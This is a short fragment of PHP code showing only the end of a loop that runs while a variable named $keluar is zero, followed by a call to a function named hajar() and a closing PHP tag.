} while ($keluar == 0);
}

hajar();

?>